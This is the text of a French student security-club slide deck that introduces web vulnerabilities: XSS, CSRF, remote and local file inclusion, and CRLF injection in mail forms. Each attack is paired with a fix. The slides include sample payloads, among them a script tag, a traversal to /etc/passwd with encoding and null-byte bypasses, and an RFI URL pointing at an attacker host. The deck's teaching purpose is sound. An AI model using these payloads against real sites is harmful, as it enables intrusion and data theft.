

H4ck 1n TN

Failles Web

Valentin STERN

Ceten – TELECOM Nancy

November 4, 2015



D'où viennent les failles?

- ▶ Du serveur en général
- ▶ Surtout en PHP car c'est le langage le plus utilisé
- ▶ Pas développé de manière sécurisé au départ



Les failles vues dans cette présentation

- ▶ Faille XSS
- ▶ CSRF
- ▶ File Inclusion
- ▶ CRLF



Faillle XSS

- ▶ Utilisée en général pour voler des cookies
- ▶ Pour rediriger vers des pubs
- ▶ Embêter les utilisateurs



Son fonctionnement

- ▶ Nécessite un formulaire qui réaffiche les données entrées
- ▶ Permet d'exécuter du javascript sur le client d'autres personnes
- ▶ Par exemple : `<script>alert('Hello')</script>`



Comment voler les cookies ?

- ▶ Contenus dans document.cookie
- ▶ Nécessite un serveur, avec un fichier enregistrant ce qu'on lui envoie



Comment la sécuriser ?

- ▶ Echapper les caractères
- ▶ Remplace donc par exemple `<` par `<`
- ▶ Affiche donc au final `<script>alert('Hello')</script>` et n'exécute pas le code



- ▶ Acronyme de Cross-Site Request Forgery
- ▶ Permet d'utiliser les droits d'un autre utilisateur pour faire ce que l'on veut



Comment ça marche?

- ▶ Demander à un utilisateur d'aller sur un lien
- ▶ Ou le cacher dans une image :
- ▶ ``
- ▶ L'utilisateur va donc effectuer l'action que l'on veut avec sa session



Comment la sécuriser ?

- ▶ Ajouter un token nécessaire dans chaque formulaire sur le site que l'on veut sécuriser



RFI (Remote File Inclusion)

- ▶ Principe : Inclure un site dans le site
- ▶ Passe par l'inclusion de page avec des paramètres
- ▶ Permet d'envoyer des données personnalisés
- ▶ Permet également d'exécuter du code PHP sur la machine distante
- ▶ `http://monsite.org/index.php?view=http://hacking.org/hack.php`



LFI : Directory traversal

- ▶ Principe : Accéder à un dossier dont nous ne sommes pas autorisé
- ▶ Par exemple :
`<?php include ('/home/users/web/views/' . $_GET['view']); ?>`
- ▶ On accède donc à l'accueil par :
- ▶ `http://monsite.org/index.php?view=accueil.php`



Exploiter cela

- ▶ Envoyer une vue naviguant dans les dossiers
- ▶ Par exemple :
`'../ ../ ../ ../ ../ ../ ../ ../ ../ ../ etc/passwd'` et accéder au fichier de password de la machine
- ▶ On peut ainsi accéder au fichier que l'on veut sur la machine !



Comment la sécuriser ?

- ▶ On peut penser que l'on peut interdire les caractères `../` ou même simplement `..`
- ▶ Mais dans ce cas on peut envoyer l'encodage URL des caractères :
`%2e%2e%2f = ../`
- ▶ Dans ce cas cette sécurisation ne sert à rien



Comment la sécuriser ?

- ▶ Tout simplement : `include($_GET['file'] . '.html')`
- ▶ Limite donc les fichiers à ceux au format HTML



Comment la sécuriser ?

- ▶ Tout simplement : `include($_GET['file'] . '.html')`
- ▶ Limite donc les fichiers à ceux au format HTML
- ▶ Mais ne fonctionne pas si on ajoute `%00`
- ▶ Exemple si `$_GET['file']` vaut `secret.txt%00`
- ▶ `include('secret.txt%00' . '.html')` → `include('secret.txt')`



Quelle est la solution?

- ▶ Autoriser seulement les caractère a-zA-Z0-9
- ▶ Ne pas utiliser la variable directement mais seulement pour faire un choix (via un switch par exemple)
- ▶ Trouver un autre moyen



CRLF

- ▶ CRLF signifie Carriage Return Line Feed
- ▶ Carriage Return : Retour Chariot \r
- ▶ Line Feed : Saut de ligne \n
- ▶ Consiste donc à placer des fin de ligne à certains endroits



Où placer ces caractères

- ▶ Où?
- ▶ Dans l'input des envois de mails de mot de passe oublié
- ▶ Le retour à la ligne signifie un destinataire supplémentaire
- ▶ On peut donc envoyer des mails grâce au site web de la victime



Son utilité

- ▶ Envoie deux mails avec le nouveau mot de passe
- ▶ mail1@service.com%0A%0Dmail2@service.com



Comment sécuriser?

```
► $chaine_secure =  
  str_replace(array("\n","\r",PHP_EOL),",$chaine_utilisateur);
```



Conclusion

- ▶ Ne jamais faire confiance à l'utilisateur
- ▶ Vérifier tous les points d'entrée du site
- ▶ Se renseigner sur les différents types d'attaque (OWASP top 10)

